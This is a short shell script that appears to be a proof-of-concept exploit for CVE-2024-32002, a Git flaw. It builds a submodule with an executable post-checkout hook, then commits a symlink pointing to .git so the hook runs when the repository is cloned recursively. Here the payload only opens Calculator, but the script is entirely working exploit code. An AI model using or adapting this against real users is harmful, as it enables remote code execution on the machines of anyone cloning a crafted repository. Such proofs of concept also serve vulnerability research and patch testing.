git clone --recursive github.com/markuta/CVE-2024-32002

# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks 
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"

# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink